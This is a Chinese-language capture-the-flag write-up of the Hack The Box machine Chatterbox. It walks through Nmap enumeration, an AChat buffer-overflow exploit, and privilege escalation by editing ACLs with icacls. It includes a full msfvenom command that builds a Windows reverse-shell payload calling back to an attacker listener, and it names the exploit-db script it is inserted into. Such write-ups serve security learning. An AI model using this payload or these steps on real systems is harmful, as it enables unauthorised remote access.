[HTB] Chatterbox Writeup
2022-9-6 14:26:11 Author: 一个人的安全笔记(查看原文) 阅读量:7 收藏

概述 (Overview)

HOST: 10.10.10.74

OS: Windows

发布时间: 2018-01-28

完成时间: 2021-10-25

机器作者: lkys37en

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #icacls

攻击链 (Kiillchain)

通过 Nmap 对目标服务开放端口进行枚举,识别出存在缓存溢出漏洞的 Achat 服务,使用修改后的 exploit 成功获得目标服务器的立足点。

查询用户文件夹及文件发现存在 ACL 控制措施,通过 icacls 命令成功编辑 ACL 列表,成功得到 root flag。

枚举(Enumeration)

老样子,通过 Nmap 工具对目标服务器进行开放端口枚举:

PORT     STATE SERVICE REASON          VERSION
9255/tcp open  http    syn-ack ttl 127 AChat chat system httpd
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open  achat   syn-ack ttl 127 AChat chat system
66c11a448c165f64d8fe99b7c27f7bbe.png

这里我使用的是 nmapAutomator 工具,它的主要用途是通过 bash 脚本将常用的 Nmap 扫描命令进行补全。很快看到两个端口 9255、9256,使用搜索引擎对端口信息进行了解。

Achat 易受基于 SEH 的堆栈缓冲区溢出的影响 - https://www.speedguide.net/port.php?port=9256

Port 9256 - Achat

锁定是 Achat 服务后,尝试搜索它的历史严重漏洞,先从 exploit-db 中下手:

Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb

有缓存溢出漏洞,根据 Achat 0.150 beta7 - Remote Buffer Overflow[1] 脚本描述,进行攻击复现。

立足点(Foothold)

通过 msfvenom 生成反连 Kali 的 exploit:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<kali> LPORT=9900 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python > exploit.txt

将生成的 exploit Bing 数据内容替换至 36025.py 脚本中,新开窗口使用 NC 监听 9900 端口,完成 MSF 攻击上线:

得到目标服务的立足点,在 Desktop 目录下获取 User flag。

权限提升(Privilege Escalation)

首先查看系统信息,当前的目标服务系统是 Windows 7 Pro,并且可以查看到已经安装过安全补丁,说明可以排除系统高危提取利用:

在 Kali 中启动 impacket-smbserver 文本共享服务,将 winPEAS 传递至服务器进行深度的信息收集。发现存在 Alfred 用户的登录凭证:

但当前会话的 session 用户就是 Alfred,所以没啥用。接着查看深度收集的信息,发现可以查看 C:\Users\Administrator 的目录权限,但没有读取权限:

通过 Google 进行查询,发现在 Windows 中可以使用 cacls、icacls 来查看用户组的 ACL 权限列表,先看一下目录ACL:


  • • cacls : 显示或修改文件的访问控制列表(ACL)

  • • icacls : 显示或修改自由访问控制表(Dacl) 上指定的文件,并指定目录中的文件应用于存储的 Dacl。

这里需要关注括号中以逗号分隔的特定权限列表,详细如下:

  • • 一系列简单权限(基本权限):

    • • F - 完全访问

    • • M - 修改访问

    • • RX - 读取和执行访问

    • • R - 只读访问

    • • W - 只写访问

  • • 特定权限括号中的逗号分隔列表(高级权限):

    • • D - 删除

    • • RC - 读取控制(读取权限)

    • • WDAC - 写入 DAC(更改权限)

    • • WO - 写所有者(取得所有权)

    • • S - 同步

    • • AS - 访问系统安全

    • • MA - 允许的最大值

    • • GR - 通用读取

    • • GW - 通用写入

    • • GE - 通用执行

    • • GA - 通用所有

    • • RD - 读取数据/列表目录

    • • WD - 写入数据/添加文件

    • • AD - 追加数据/添加子目录

    • • REA - 读取扩展属性

    • • WEA - 编写扩展属性

    • • X - 执行/遍历

    • • DC - 删除孩子

    • • RA - 读取属性

    • • WA - 写属性

  • • 继承权可以先于任何一种<perm>形式:

    • • (I) - 继承。ACE 继承自父容器。

    • • (OI) - 对象继承。此容器中的对象将继承此 ACE。仅适用于目录。

    • • (CI) - 容器继承。此父容器中的容器将继承此 ACE。仅适用于目录。

    • • (IO) - 仅继承。ACE 继承自父容器,但不适用于对象本身。仅适用于目录。

    • • (NP) - 不要传播继承。ACE 由容器和对象从父容器继承,但不会传播到嵌套容器。仅适用于目录。

可以看到,对文件、文件夹的 ACL 控制策略 Alfred 用户具备完全访问(F),那么可以通过 /grant 参数授予指定的用户访问权限。通过 cacls 进行查看,当前仅有 Administrator 用户。

成功得到 Root Flag。

参考

  • • https://ss64.com/nt/icacls.html

  • • https://www.codenong.com/2928738/

  • • https://www.cnblogs.com/Aley/p/11089538.html

引用链接

[1] Achat 0.150 beta7 - Remote Buffer Overflow: https://www.exploit-db.com/exploits/36025


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490262&idx=1&sn=2b1af05fa917594c5c32ddfd8fb2f5c1&chksm=8c945ec1bbe3d7d75aa372ec0e166db9f4ac7ca8e8c4f1c2e801926bc44855c462cbea999606#rd
如有侵权请联系:admin#unsafe.sh